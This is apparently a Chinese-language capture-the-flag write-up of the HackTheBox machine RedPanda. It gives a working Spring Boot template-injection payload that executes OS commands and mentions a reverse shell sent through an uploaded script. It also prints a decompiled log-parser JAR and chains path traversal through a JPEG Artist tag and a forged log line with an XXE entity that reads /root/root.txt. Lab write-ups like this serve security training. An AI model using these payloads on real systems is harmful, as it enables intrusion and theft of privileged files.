HackTheBox-RedPanda

nmap扫描结果


题目提示injection,推测为sql注入或者是模板注入

在测试时发现%被过滤,因此进行fuzz操作,发现%_$~被过滤

同时发现请求/favicon.ico时返回404json且网页标题提示为Spring Boot,结合过滤的内容,推测为Spring Boot模板注入

一顿操作后,得到模板注入为*{{xxx}}

利用name=*{{new+java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("sleep+5").getInputStream()).next()}}成功执行命令

直接反弹好像会出问题,把反弹shell命令写成脚本传到服务器上再进行反弹


find / -user root -perm -4000 -print 2>/dev/null没发现可以利用的点

pspy监控如下

/opt/cleanup.sh

1
2
3
4
5
6
7
8
9
#!/bin/bash
/usr/bin/find /tmp -name "*.xml" -exec rm -rf {} \;
/usr/bin/find /var/tmp -name "*.xml" -exec rm -rf {} \;
/usr/bin/find /dev/shm -name "*.xml" -exec rm -rf {} \;
/usr/bin/find /home/woodenk -name "*.xml" -exec rm -rf {} \;
/usr/bin/find /tmp -name "*.jpg" -exec rm -rf {} \;
/usr/bin/find /var/tmp -name "*.jpg" -exec rm -rf {} \;
/usr/bin/find /dev/shm -name "*.jpg" -exec rm -rf {} \;
/usr/bin/find /home/woodenk -name "*.jpg" -exec rm -rf {} \;

/opt/credit-score/LogParser/final/target/final-1.0-jar-with-dependencies.jar

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.logparser;

import com.drew.imaging.jpeg.JpegMetadataReader;
import com.drew.imaging.jpeg.JpegProcessingException;
import com.drew.metadata.Directory;
import com.drew.metadata.Metadata;
import com.drew.metadata.Tag;
import java.io.BufferedWriter;
import java.io.File;
import java.io.FileWriter;
import java.io.IOException;
import java.util.HashMap;
import java.util.Iterator;
import java.util.Map;
import java.util.Scanner;
import org.jdom2.Document;
import org.jdom2.Element;
import org.jdom2.JDOMException;
import org.jdom2.input.SAXBuilder;
import org.jdom2.output.Format;
import org.jdom2.output.XMLOutputter;

public class App {
public App() {
}

public static Map parseLog(String line) {
String[] strings = line.split("\\|\\|");
Map map = new HashMap();
map.put("status_code", Integer.parseInt(strings[0]));
map.put("ip", strings[1]);
map.put("user_agent", strings[2]);
map.put("uri", strings[3]);
return map;
}

public static boolean isImage(String filename) {
return filename.contains(".jpg");
}

public static String getArtist(String uri) throws IOException, JpegProcessingException {
String fullpath = "/opt/panda_search/src/main/resources/static" + uri;//目录穿越,注意这里没有使用/进行闭合
File jpgFile = new File(fullpath);
Metadata metadata = JpegMetadataReader.readMetadata(jpgFile);//文件必须为jpg
Iterator var4 = metadata.getDirectories().iterator();

while(var4.hasNext()) {
Directory dir = (Directory)var4.next();
Iterator var6 = dir.getTags().iterator();

while(var6.hasNext()) {
Tag tag = (Tag)var6.next();
if (tag.getTagName() == "Artist") {//利用exiftools构建图片,手动指定Artist的值
return tag.getDescription();
}
}
}

return "N/A";
}

public static void addViewTo(String path, String uri) throws JDOMException, IOException {
SAXBuilder saxBuilder = new SAXBuilder();//SAXBuilder如果使用默认配置就会触发XXE漏洞
XMLOutputter xmlOutput = new XMLOutputter();
xmlOutput.setFormat(Format.getPrettyFormat());
File fd = new File(path);
Document doc = saxBuilder.build(fd);
Element rootElement = doc.getRootElement();
Iterator var7 = rootElement.getChildren().iterator();

while(var7.hasNext()) {
Element el = (Element)var7.next();
if (el.getName() == "image" && el.getChild("uri").getText().equals(uri)) {//存在image项且uri与传入的uri相同
Integer totalviews = Integer.parseInt(rootElement.getChild("totalviews").getText()) + 1;
System.out.println("Total views:" + Integer.toString(totalviews));
rootElement.getChild("totalviews").setText(Integer.toString(totalviews));
Integer views = Integer.parseInt(el.getChild("views").getText());
el.getChild("views").setText(Integer.toString(views + 1));
}
}

BufferedWriter writer = new BufferedWriter(new FileWriter(fd));
xmlOutput.output(doc, writer);
}

public static void main(String[] args) throws JDOMException, IOException, JpegProcessingException {
File log_fd = new File("/opt/panda_search/redpanda.log");
Scanner log_reader = new Scanner(log_fd);

while(log_reader.hasNextLine()) {
String line = log_reader.nextLine();
if (isImage(line)) {//isImage(line) 这一行中包含 .jpg
Map parsed_data = parseLog(line);
System.out.println(parsed_data.get("uri"));
String artist = getArtist(parsed_data.get("uri").toString());//artist可控
System.out.println("Artist: " + artist);
String xmlPath = "/credits/" + artist + "_creds.xml";
addViewTo(xmlPath, parsed_data.get("uri").toString());//xmlPath->任意目录的xml文件
}
}

}
}
  1. /opt/panda_search/redpanda.log
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
分割符号为||
public class test {
public static void main(String[] args) {
String a="asdlkfj||qwer";
System.out.println(Arrays.toString(a.split("\\|\\|")));
}
}

[asdlkfj, qwer]

map.put("status_code", Integer.parseInt(strings[0]));
map.put("ip", strings[1]);
map.put("user_agent", strings[2]);
map.put("uri", strings[3]);

log日志内容为

200||1.1.1.1||Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36||/../../../../../../../../../../tmp/xxx.jpg
  1. uri
1
2
3
4
5
/../../../../../../../../../../tmp/xxx.jpg

exiftool -Artist="../../../tmp/xxx" xxx.jpg

把xxx.jpg上传到服务器的/tmp目录

  1. xmlPath
1
2
3
得到的artist为../../../tmp/xxx

生成的xmlPath为/credits/../../../tmp/xxx_creds.xml
  1. xml内容
1
2
3
4
5
6
7
8
9
10
11
12
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY flag SYSTEM "file:///root/root.txt">
]>
<credits>
<image>
<uri>/../../../../../../../../../../tmp/xxx.jpg</uri>
<views>1</views>
<x>&flag;</x>
</image>
<totalviews>1</totalviews>
</credits>

java -jar /opt/credit-score/LogParser/final/target/final-1.0-jar-with-dependencies.jar完成后/tmp/xxx_creds.xml中的内容将被修改为/root/root.txt中的内容